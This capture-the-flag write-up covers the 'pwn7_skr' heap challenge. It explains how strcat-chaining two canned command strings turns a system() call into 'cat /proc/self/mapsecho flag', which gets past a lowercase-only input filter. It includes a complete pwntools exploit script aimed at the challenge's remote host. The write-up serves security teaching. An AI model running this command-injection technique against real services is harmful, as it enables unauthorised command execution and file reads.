pwn7_skr
pwn7_skr
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: cat_multi_arg_read, command_concatenation_via_strcat, cwd_recon, lowercase_filter_bypass
Summary
Task: heap command runner that does system(buf) where buf is built by two prepare actions; a greet action strcats 'echo '+lowercase-only name and a memory-map action sets 'cat /proc/self/maps'. Solution: concatenate both actions on the SAME chunk so strcat chains them into 'cat /proc/self/mapsecho flag'; cat reads multiple file args, the bogus first path errors to stderr while the valid cwd file 'flag' prints to stdout — no overflow, leak, or libc work needed.
pwn7_skr — pwn_spbctf
Description
Флаг лежит в /flag
Task author: Anatoly Korniltsev (@korniltsev). Category: heap, tier pwn7.
Remote: nc 109.233.56.90 11514 (platform pwn.spbctf.ru).
English summary: A menu-driven "command runner" lets you allocate command
structs on the heap, prepare them with one of two canned command strings, and
execute them via system(buf). The flag lives in /flag (and, as recon shows,
as a plain flag file in the process CWD /). The goal is to get the program
to run a shell command that reads the flag, despite a strict lowercase-only
filter on the only user-controllable input.
Analysis
The relevant struct and logic (skr.c):
c read-only • copy allowedstruct command { char buf[128]; void (*free)(struct command *it); void (*exec)(struct command *it); }; // size 0x90 void exec_command(struct command *it) { if (strlen(it->buf)) system(it->buf); // buf is at chunk offset 0 }
Binary properties: NON-PIE (0x400000), Partial RELRO, NO stack canary, glibc
2.27 (confirmed via the /proc/self/maps leak the program offers).
Menu:
- [1] allocate —
malloc(sizeof(struct command)), setfree/execpointers,bzero(buf, 128). - [2] prepare — two types:
- type 1 "greet": read
nameviafgets(≤122 chars), reject any char outsidea–z, thenstrcat(buf, "echo ")followed bystrcat(buf, name). Crucially it does notbzerofirst, so repeated greets append. - type 2 "memory map":
strcpy(buf, "cat /proc/self/maps")(19 chars).
- type 1 "greet": read
- [3] execute —
cmds[idx]->exec(cmds[idx])→exec_command→system(buf). - [4] free.
Key observation: system() runs whatever string is in buf, and buf is
at offset 0 of the chunk, so we fully control the executed shell line as far as
we can write bytes into buf.
Why the obvious routes are dead ends
- Function-pointer overwrite (the "intended-looking" heap overflow):
because greet appends without re-bzero, calling greet many times overflows
buf[128]into thefree/execpointers. But greet only writes lowercasea–z, so you cannot craft a clean code pointer. Dead end. - Directly crafting
cat /flagor/bin/sh: the lowercase filter blocks/, space, and uppercase. The only/and space you ever get come from the canned"cat /proc/self/maps"and the"echo "prefix — you cannot type your own.
The recon that unlocked it
A benign command run first listed the CWD and revealed that the flag exists as a
plain file named flag in the process working directory / (not only as
/flag). The name flag is pure lowercase — exactly what the greet filter
allows. That turns an impossible /-requiring read into a no-slash one.
Solution
Concatenate the two prepare actions on the same chunk so strcat chains
them into one shell command line:
- allocate command
B. - prepare B as "memory map" →
B->buf = "cat /proc/self/maps"(NUL at offset 19, contains a real/and a space). - prepare B as "greet" with name
flag→strcatappends from the NUL:B->buf = "cat /proc/self/maps" + "echo " + "flag"="cat /proc/self/mapsecho flag". - execute B →
system("cat /proc/self/mapsecho flag").
cat receives two file arguments after word-splitting:
/proc/self/mapsecho (does not exist → error to stderr) and flag (exists
in CWD → printed to stdout). The flag is printed.
One alloc, two prepares, one execute. No overflow, no leak math, no libc work.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.log_level = 'error' HOST, PORT = '109.233.56.90', 11514 def alloc(io): io.sendlineafter(b'> ', b'1') io.recvuntil(b'id = ') return int(io.recvline().strip()) def prep_greet(io, idx, name): io.sendlineafter(b'> ', b'2') io.sendlineafter(b'> ', str(idx).encode()) io.sendlineafter(b'> ', b'1') io.sendlineafter(b'> ', name) def prep_map(io, idx): io.sendlineafter(b'> ', b'2') io.sendlineafter(b'> ', str(idx).encode()) io.sendlineafter(b'> ', b'2') def execute(io, idx): io.sendlineafter(b'> ', b'3') io.sendlineafter(b'> ', str(idx).encode()) io = remote(HOST, PORT) b = alloc(io) prep_map(io, b) # B->buf = "cat /proc/self/maps" prep_greet(io, b, b'flag') # strcat -> "cat /proc/self/mapsecho flag" execute(io, b) # system(...) -> cat reads cwd file "flag" print(io.recvuntil(b'1. allocate', timeout=8).decode(errors='replace')) io.close()